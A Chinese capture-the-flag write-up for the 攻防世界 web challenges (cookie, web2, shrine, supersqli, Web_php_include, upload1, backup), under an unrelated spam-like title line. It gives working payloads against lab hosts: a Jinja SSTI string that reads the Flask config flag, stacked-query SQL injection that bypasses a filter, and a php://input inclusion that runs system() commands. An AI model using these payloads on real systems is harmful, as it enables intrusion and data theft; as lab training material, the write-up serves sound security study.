纯静态单页网站/网店代运营公司哪家好
攻防世界 web篇(三)
- cookie
- web2
- shrine
- supersqli
- 使用预编译**绕过
- 修改原参数查询
- Web_php_include
- upload1
- backup
cookie
X老师告诉小宁他在cookie里放了些东西,小宁疑惑地想:‘这是夹心饼干的意思吗?’
打开抓包,发现有个cookie.php
http://61.147.171.105:53978/cookie.php 查看响应头
web2
<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";function encode($str){//这里是加密函数$_o=strrev($str); //这里对字符串进行倒置// echo $_o;for($_0=0;$_0<strlen($_o);$_0++) { $_c=substr($_o,$_0,1); //从$_0中一个一个将字符取出$__=ord($_c)+1; //字符ASCLL码值+1$_c=chr($__); //ASCLL码值变回字符$_=$_.$_c; //拼接每一个字符} return str_rot13(strrev(base64_encode($_)));//将字符串先base64加密 ,再倒置,再进行ROT13编码
}highlight_file(__FILE__);
/*逆向加密算法,解密$miwen就是flag
*/
?>
解题代码思路
先base64解密 base64_decode()
使用 strrev()倒置字符串
再进行ROT13编码 刚好26个字母进行两次刚好完成解密
之后就是将字符的ASCLL码值-1
字符串再进行倒置
同样我们也使用php,使用echo将解密结果输出
可以使用本地环境或者在线环境
<?php
$secret="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
$secret=base64_decode(strrev(str_rot13($secret)));$m=$secret;for($i=0;$i<strlen($secret);$i++){$_c=substr($m,$i,1);$__=ord($_c)-1; $__=chr($__); $_=$_.$__; }echo strrev($_);?>
https://c.runoob.com/compile/1/
shrine
import flask
import osapp = flask.Flask(__name__)app.config['FLAG'] = os.environ.pop('FLAG')@app.route('/')
def index():return open(__file__).read()@app.route('/shrine/<path:shrine>')
def shrine(shrine):def safe_jinja(s):s = s.replace('(', '').replace(')', '')blacklist = ['config', 'self']return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + sreturn flask.render_template_string(safe_jinja(shrine))if __name__ == '__main__':app.run(debug=True)
flask 在 /shrine/ 下的 SSTI,对 payload 进行了过滤,对小括号进行了替换,将 ( 和 ) 替换为空字符串,将 config 和 self 添加进了黑名单
/shrine/{{get_flashed_messages.__globals__['current_app'].config['FLAG']}}
supersqli
使用预编译**绕过
';sEt @sql = CONCAT('se','lect * from `1919810931114514`;');prEpare stmt from @sql;EXECUTE stmt;#
flag{c168d583ed0d4d7196967b28cbd0b5e9}
修改原参数查询
http://61.147.171.105:51964/?inject=1';show databases;--+
查表
http://61.147.171.105:51964/?inject=1';show tables;--+
分别查询两个表的字段:
(字符串为表名进行操作时要加反引号); show columns from `1919810931114514` ;--+
; show columns from `words` ;--+
1' or 1=1 #
http://61.147.171.105:51964/?inject=1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);
Web_php_include
<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {$page=str_replace("php://", "", $page);
}
include($page);
?>
使用php://input 伪协议
http://61.147.171.105:50320/?page=Php://input
<?php system('ls'); ?> #列出所有文件
<?php system('cat fl4gisisish3r3.php'); ?> #查看文件
upload1
更改文件名称
backup
题目描述:
X老师忘记删除备份文件,他派小宁同学去把备份文件找出来,一起来帮小宁同学吧!
常见的备份文件后缀名:“.bak”
“.git”
“.svn”
“.swp”
“.~”
“.bash_history”
“.bkf”
http://61.147.171.105:59660/index.php.bak